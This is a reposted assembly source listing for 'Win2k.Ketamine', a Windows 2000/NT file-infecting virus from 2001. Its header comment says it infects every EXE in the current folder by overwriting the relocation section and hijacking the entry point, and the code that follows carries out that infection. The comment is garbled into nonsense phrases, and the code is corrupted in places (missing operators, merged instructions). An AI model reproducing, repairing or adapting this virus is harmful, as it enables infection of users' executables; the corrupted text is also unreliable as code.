Win2k.ketamine.asm

xiaoxiao2021-03-05  23

Comment #

The couple of couples have a couple of eceshruns?

Door row exhaust row row row row row

The door row is brighter and bright and bright.

Door? Win2k.KetAmine?

Door row? BY BENNY / 29A door row? Door ripples are rowless

Door row exhaust row row row row row

Lazy brighter and bright, bright, bright, bright, bright, bright, bright and bright

This is my next (Very Small) Virus, Specialiad On Win2k Machinez. It Should Be Also

Able To Run Under Winnt Machinez, But I'm Not Sure, Becoz I Didn't Test It. The Virus

Does NOT USE APIZ, INSTEAD of THAT, ITS NT Syscallz. The Virus Does Not DO

Anything Special Apart of That, IT CAN Only Infect All EXE FILEZ IN CURRENT Folder

And Does Not Manifest Itself in Any Way. Infected Filez Have The Same Size, Becoz

Virus overwritez The Relocation Section. The Virus Should Be Compatible with Newer

Versionz of Windows Os'Ez Based ON NT System. The Only Point of Incompatibility IS,

Becoz I Decided to Not Use Any API, The Code Where The Virus Expect The Fixed Address

Of NTDLL.DLL MODUL LOADED in Process Virtual Memory. Virus Searchez Inside the NTDLL.DLL

For syscall numberz and so it will be forward compatible. at Least A bit ... ;-)

Here I Have to Than Thak Ratter, He Inspired Me A Lot with His win2k.joss. The functionality

Of Win2k.Ketamine and Win2k.joss Is Almost The Same, I Only Recoded Some of His Code ON MY

OWN and Added a Few New Ideaz, Which Should Make Ketamine More Compatible with Windows,

Rather Than Joss. I Have to Say, That He Inspired Me A Lot, But The Code Is Not Ripped. i

Also disassembled ntdll.dll and ntoskrnl.exe and found the same resultz as him, surprisely ;-D

But Ofcoz, I decided to not discover the America again and so i buy one of his code in

MY Virus.

The Virus Was Coded Only To show That Something is Possible, Not to make high-spreading varus.

Enjoy it!

(c) Oded in August, 2001

Czech republic.

#

.386P

.Model flat, stdcalllocals

Include Win32API.inc

INCLUDE USEFUL.INC

Include Mz.inc

INCLUDE PE.IC

Invoke Macro API; Macro for API Callz

EXTRN API: PROC

Call API

ENDM

Unicode_String Struc

US_LENGTH DD?; Length of The String

US_PSTRING DD?; PTR to String

Unicode_String Ends

Path Struc

P_Path DW MAX_PATH DUP (?); Maximal Length of Path in Unicode

Path Ends

Object_attributes struct

OA_LENGTH DD?; Length Of Structure

OA_ROOTDIR DD?

OA_OBJECTNAME DD?; Name of Object

OA_ATTRIBZ DD?; Attributez of the Object

OA_SECDESC DD?

OA_SECQOS DD?

Object_attributes ends

PIO_STATUS STRUC; Status Structure

PS_NTSTATUS DD?

PS_INFO DD?

PIO_STATUS ENDS

.DATA

DB?; Some Data

.code

_Start: Pushad

GDELTA = $ 5; Delta Offset

@Seh_setupframe

Mov EDX, CS

XOR DL, DL

Jne End_Seh; Must Be Under Winnt / 2K!

MOV EBP, [ESP 4]

Call get_syscalls; get Numberz of all Needed Syscallz

START Proc

Local UNI_STRING: Unicode_String

Local U_STRING: PATH

Local Object_attr: Object_attributes

Local IO_STATUS: PIO_STATUS

Local Dhandle: DWORD

Local WFD: WIN32_FIND_DATA

MOV [UNI_STRING.US_LENGTH], 80008H; Length of the string

Lea edi, [u_string]

MOV [UNI_STRING.US_PSTRING], EDI; SET the POINTER

Call @QM

DW '/', '?', '?', '/'; Initial String of the Object

@QM: POP ESI

Movsd

Movsd; Save IT

Mov ESI, FS: [18H]

MOV ESI, [ESI 30H]

MOV ESI, [ESI 10h]

Add ESI, 24h

MOV ESI, [ESI 4]; ESI = Current Folder

XOR ECX, ECX

l_copy: Lodsw

Inc ECX

Stosw; append it

Test Eax, EAX

JNE L_COPY

Dec ECX

Lea edi, [UNI_STRING]

SHL ECX, 1

Add CX, [EDI]

MOV AX, CX

SHL ECX, 16

MOV CX, AX

MOV [EDI], ECX; Save the New Length

XOR ECX, ECX; Initialize the Structure ...

Lea Eax, [UNI_STRING] Lea EDI, [Object_attr]

MOV [edi.oa_length], 24

And [eDI.OA_ROOTDIR], ECX

MOV [edi.oa_objectname], EAX

MOV [edi.oa_attribz], 40h

And [edi.oa_secdesc], ECX

AND [EDI.OA_SECQOS], ECX

Push 4021H

Push 3h

Lea Eax, [IO_STATUS]

Push EAX

Push EDI

Push 100001H

Lea EBX, [DHANDLE]

Push EBX

Call NTopenfile; Open The Current Folder

MOV EBX, [EBX]

XOR ECX, ECX

F_LOOP: PUSH ECX

XOR EAX, EAX

Push EAX

Call @ p1

DD 0A000AH; Length of the String

DD?; PTR to String

@ p1: POP ESI

Call @exe

DW '<', '.', 'E', 'X', 'E'; String

@exe: Pop DWORD PTR [ESI 4]; Save the Ptr

Jecxz @ 1st

XOR ESI, ESI

@ 1st: Push ESI

Push 1

Push 3

Push max_path * 2

Lea Edx, [WFD]

Push Edx

Lea Edx, [IO_STATUS]

Push Edx

Push EAX

Push EAX

Push EAX

Push EBX

Mov Eax, 12345678H

NTQDF = DWORD PTR $ -4

Lea edx, [ESP]

INT 2EH; NTQueryDirectoryFile

Add ESP, 4 * 11; Correct The Stack

POP ECX

Test Eax, EAX

JNE E_LOOP; Quit if no more file

Push DWORD PTR [UNI_STRING]; Save The Length

Lea ESI, [WFD]; WIN32_FIND_DATA STRUCTURE

Lea Edi, [UNI_STRING]; The FileName

Call infect_file; infect the file

Pop DWORD PTR [UNI_STRING]; Restore The Length

Inc ECX

JMP F_LOOP; Find Next File

E_LOOP: PUSH EBX

Call Ntclose; Close The Directory

Leave

End_seh: @seh_removeframe

Popad

EXTRN EXITPROCESS: PROC

Push CS

Push Offset EXITPROCESS

Original_EP = DWORD PTR $ -4

Retf; jump to host!

START ENDP

NTClose: Mov Eax, 12345678H

NTC = DWORD PTR $ -4

Lea Edx, [ESP 4]

INT 2EH; Close the Handle

Ret 4

NTOPENFILE:

Mov Eax, 12345678H

NTOF = DWORD PTR $ -4

Lea Edx, [ESP 4]

INT 2EH; Open THE OBJECT

RET 4 * 6

Infect_file proc

Local Object_attr: Object_attributes

Local IO_STATUS: PIO_STATUSLOCAL FHANDE: DWORD

Local Shanghai: DWORD

Local Soffset: DWORD

Local bytez: DWORD

Local Soffset2: Qword

Pushhad

@Seh_setupframe

Movzx EDX, Word Ptr [EDI]

Add Edx, [EDI 4]

Push EDI

MOV EDI, EDX; EDI - End of String

MOV ECX, [ESI 3CH]; SIZE OF FileName

Push ECX

Lea ESI, [ESI 5EH]; FileName

Rep Movsb; Copy the String

POP ECX

POP EDI

Add CX, [EDI]

MOV AX, CX

SHL ECX, 16

MOV CX, AX

MOV [EDI], ECX; SIZE OF PATH FileName

XCHG Eax, EDI

XOR ECX, ECX; Initialize the Structure ...

Lea Edi, [Object_attr]

MOV [edi.oa_length], 24

And [eDI.OA_ROOTDIR], ECX

MOV [edi.oa_objectname], EAX

MOV [edi.oa_attribz], 40h

And [edi.oa_secdesc], ECX

AND [EDI.OA_SECQOS], ECX

Push 4060h

Push 3h

Lea ECX, [IO_STATUS]

Push ECX

Push EDI

Push 100007H

Lea EBX, [Fhaandle]

Push EBX

Call Ntopenfile; Open THE FILE

Test Eax, EAX

JNE IF_END

MOV EBX, [EBX]

XOR EAX, EAX

Push EBX

Push 8000000H

Push Page_Readwrite

Push EAX

Push EAX

Push 0f0007h

Lea EBX, [Shandle]

Push EBX

Mov Eax, 12345678H

NTCS = DWORD PTR $ -4

MOV EDX, ESP

INT 2EH; NTCREATeration

Add ESP, 4 * 7; Correct Stack

Test Eax, EAX

JNE IF_END2

MOV EBX, [EBX]

Lea Edx, [Bytez]; Initialize Some Variablez

XOR EAX, EAX

And [Soffset], EAX

And [EDX], EAX

And DWORD PTR [Soffset2], EAX

And DWORD PTR [Soffset2 4], EAX

Push 4

Push EAX

Push 1

Push Edx

Lea Edx, [Soffset2]

Push Edx

Push EAX

Push EAX

Lea ESI, [Soffset]

PUSH ESI

Push -1

Push EBX

Mov Eax, 12345678H

NTMVOS = DWORD PTR $ -4

MOV EDX, ESP

INT 2EH; NTMapViewOfSection

Add ESP, 4 * 10

Test Eax, EAX

JNE IF_END3

MOV EBX, [ESI]; EBX = Start of Memory-Mapped File

Mov ESI, [EBX.MZ_LFANEW]

Add ESI, EBX

MOV EAX, [ESI]

Add Eax, -Image_NT_SIGNATURE

JNE IF_END4; Must Be PE File; Discard Not_Executable and System Filez

CMP Word Ptr [ESI.NT_FILEHEADER.FH_MACHINE], image_file_machine_i386

JNE IF_END4

MOV AX, [ESI.NT_FILEHEADER.FH_CHARACTERISTICS]]

Test AX, Image_File_Executable_Image

JE if_end4

Test Ax, Image_File_DLL

JNE IF_END4

Test AX, Image_File_System

JNE IF_END4

MOV Al, Byte Ptr [ESI.NT_FILEHEADER.OH_SUBSYSTEM]

Test al, image_subsystem_native

JNE IF_END4

Movzx Eax, Word Ptr [ESI.NT_FILEHEADER.FH_NUMBEROFSECTIONS]

Dec EAX

Test Eax, EAX

JE if_end4

Imul eax, emage_sizeof_section_header

Movzx EDX, Word Ptr [ESI.NT_FILEHEADER.FH_SIZEOFOPTIONALHEADER]

Lea EDI, [EAX EDX Image_sizeOf_File_Header 4]

Add Edi, ESI

Lea Edx, [ESI.NT_OPTIONALHEADER.OH_DATADIRECTORY.DE_BASERELOC.DD_VIRTUALADDRESS]

MOV EAX, [EDX]

Test Eax, EAX

JE if_end4

CMP EAX, [EDI.SH_VIRTUALADDRESS]

JNE IF_END4

CMP [EDI.SH_SIZEOFRAWDATA], Virus_END-_START

JB if_end4; Is it Large Enough?

Pushhad

XOR EAX, EAX

MOV EDI, EDX

Stosd

Stosd

Popad; ERASE RELOCS RECORD

; Align THE Section Size

Mov Eax, Virus_END-_START

CMP EAX, [EDI.SH_VIRTUALSIZE]

JB O_VS

MOV ECX, [ESI.NT_OPTIONALHEADER.OH_SECTIONALIGNMENT]

CDQ

Div ECX

Test EDX, EDX

JE O_AL

INC EAX

O_al: Mul ECX

MOV [edi.sh_virtualsize], EAX

O_VS: Push EBP; Save EBP

Call Idelta; Get Delta Offset

Idelta: POP EBP

Push DWORD PTR [EBP Original_EP - Idelta]

MOV EAX, [ESI.NT_OPTIONALHEADER.OH_ADDRESSOFENTRYPOINT]

Push dword ptr [edi.sh_virtualaddress]

Pop DWORD PTR [ESI.NT_OPTIONALHEADER.OH_ADDRESSOFENTRYPOINT]

MOV [EBP Original_EP - Idelta], EAX

MOV EAX, [ESI.NT_OPTIONALHEADER.OH_IMAGEBASE]

Add [EBP Original_EP - Idelta], EAX

SET SAVED_ENTRYPOINT VARIABLE

Pushhad

Mov edi, [edi.sh_pointertorawdata]

Add Edi, EBX

Lea ESI, [EBP _START - Idelta] MOV ECX, (Virus_end-_Start 3) / 4

Rep Movsd; Overwrite Relocs by Virus Body

Popad

POP DWORD PTR [EBP Original_EP - Idelta]

Restore Used Variablez

OR DWORD PTR [EDI.SH_CHARACTERISTICS], image_scn_mem_write

POP EBP; Restore EBP

IF_END4: PUSH EBX

Push -1

Mov Eax, 12345678H

NTUVOS = DWORD PTR $ -4

MOV EDX, ESP

INT 2EH; NTUNMAPVIEWOFSECTION

Add ESP, 4 * 2

IF_END3: Push [shandle]

Call ntclose; close the section

IF_END2: Push [fhandle]

Call Ntclose; Close the File

IF_END: ​​@seh_removeframe

Popad

RET

Infect_file endp

Get_syscalls proc

MOV ESI, 77F80000H; Base of NTDLL.DLL

Mov Edx, [ESI.MZ_LFANEW]

Add Edx, ESI

MOV EBX, [edx.nt_optionalheader.oh_directoryentries.de_export.dd_virtualaddress]

Add ebx, ESI

MOV ECX, [ebx.ed_numberofnames]]

Mov Edx, [ebx.ed_addressofnames]

Add Edx, ESI

XOR EAX, EAX

c_find: pushad

Add ESI, [EDX EAX * 4]

PUSH ESI

@endsz

Mov EDI, ESI

POP ESI

Sub EDI, ESI

Call CRC32; Calculate CRC32 of the API

Push 6; Number of Syscallz

POP ECX

Call @callz

DD 09ECA4E0FH; NTOPENFILE

DD 0D5494178H; NTQueryDirectoryFile

DD 0B964B7BEH; NTCLOSE

DD 03F2482E6H; NTCREATeration

DD 010710614H; NTMapViewOfSection

DD 0864CF09BH; NTUNMAPVIEWOFSECTION

@callz: POP EDX

C_LOOK: CMP [EDX-4 (ECX * 4)], EAX

Je got_call

Loop c_look

C_out: popad

INC EAX

LOOP C_FIND

RET

Got_call:

Mov edx, [ebx.ed_addressofordinals]

Mov ESI, [ESP.PUSHAD_ESI]

Add Edx, ESI

Mov Eax, [ESP.PUSHAD_EAX]

Movzx Eax, Word PTR [EDX EAX * 2]

Mov EDX, ESI

Add Edx, [ebx.ed_addressoffunctions]

Mov Eax, [EDX EAX * 4]

Add Eax, ESI

Mov Eax, [EAX 1]; Get Number of the Syscall

Lea Edx, [EBP _START - GDELTA]

Add Edx, [EBP SYS_ADDR-4 ECX * 4 - GDELTA]

MOV [EDX], EAX; Save itjmp C_out

Get_syscalls Endp

SYS_ADDR:; WHERE to Save Syscall Numberz ...

DD Offset NTOF-_START

DD Offset NTQDF-_START

DD Offset NTC-_Start

DD Offset NTCS-_START

DD Offset NTMVOS-_START

DD Offset NTUVOS-_START

CRC32: PUSH ECX; Procedure for Calculating CRC32S

Push EDX; At Run-Time

Push EBX

XOR ECX, ECX

Dec ECX

MOV EDX, ECX

Nextbytecrc:

XOR EAX, EAX

XOR EBX, EBX

Lodsb

XOR Al, Cl

MOV CL, CH

MOV CH, DL

MOV DL, DH

MOV DH, 8

NextbitCrc:

SHR BX, 1

RCR AX, 1

JNC NOCRC

XOR AX, 08320H

XOR bx, 0edb8h

NOCRC: DEC DH

JNZ nextbitCrc

XOR ECX, EAX

XOR EDX, EBX

Dec Edi

JNE NEXTBYTECRC

Not Edx

NOT ECX

POP EBX

MOV EAX, EDX

ROL EAX, 16

MOV AX, CX

POP EDX

POP ECX

RET

Signature DB 0, 'Winnt.Ketamine by Benny / 29A', 0

Virus_end:

End _start

转载请注明原文地址:https://www.9cbs.com/read-37581.html

New Post(0)